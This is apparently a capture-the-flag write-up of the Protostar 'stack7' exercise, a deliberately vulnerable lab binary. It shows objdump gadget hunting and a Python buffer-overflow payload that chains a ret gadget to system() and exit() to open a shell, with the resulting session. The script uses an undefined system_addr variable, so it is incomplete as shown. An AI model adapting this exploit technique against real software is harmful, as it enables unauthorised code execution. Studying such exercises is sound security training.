Stack7 introduces return to .text to gain code execution. (link)
Stack7 looks essentially the same as stack6 except the restriction on the return address is slightly more strict. (Previously, if ret & 0xbf000000 == 0xbf000000 it would terminate, now it just checks to see if ret & 0xb0000000 == 0xb0000000.)
Just as a sanity check, let's try our solution to stack6 here:
user@protostar:/opt/protostar/bin$ (cat /tmp/stack6-buffer; cat) | /opt/protostar/bin/stack7
input path please: bzzzt (0xb7ecffb0)
Nope! As expected, the buzzer goes off because the address we use for system and exit are not in the .text section.
Ok... so now what can we do?
One idea would be to scan the .text section for gadgets to use in a Return Oriented Programming chain.
user@protostar:/opt/protostar/bin$ objdump -d stack7 | grep "ret"
8048383: c3 ret
8048494: c3 ret
80484c2: c3 ret
8048544: c3 ret
8048553: c3 ret
8048564: c3 ret
80485c9: c3 ret
80485cd: c3 ret
80485f9: c3 ret
8048617: c3 ret
Ok, now let's take the script we had from last time and jump to the first one of these ret opcodes:
offset = 80
command = "/bin/sh;#"
filler = "a"*(offset - len(command))
rop_gadget_addr = "\x83\x83\x04\x08"
system_arg = "\x5c\xf7\xff\xbf" # addr of start of buffer
exit_addr = "\xc0\x60\xec\xb7"
exit_arg = "\xff\xff\xff\xff"
print(command + filler + rop_gadget_addr + system_addr + exit_addr + system_arg + exit_arg)
Now let's use this to make a buffer file:
user@protostar:/opt/protostar/bin$ python /tmp/stack7.py > /tmp/stack7-buffer
And now let's use that buffer file as input, using the double "cat" command the same was as before the keep the pipe open:
user@protostar:/opt/protostar/bin$ (cat /tmp/stack7-buffer; cat) | /opt/protostar/bin/stack7
input path please: got path /bin/sh;#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?aaaaaaaaaaaa?????`?\???????
ls (<--- typed by me)
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6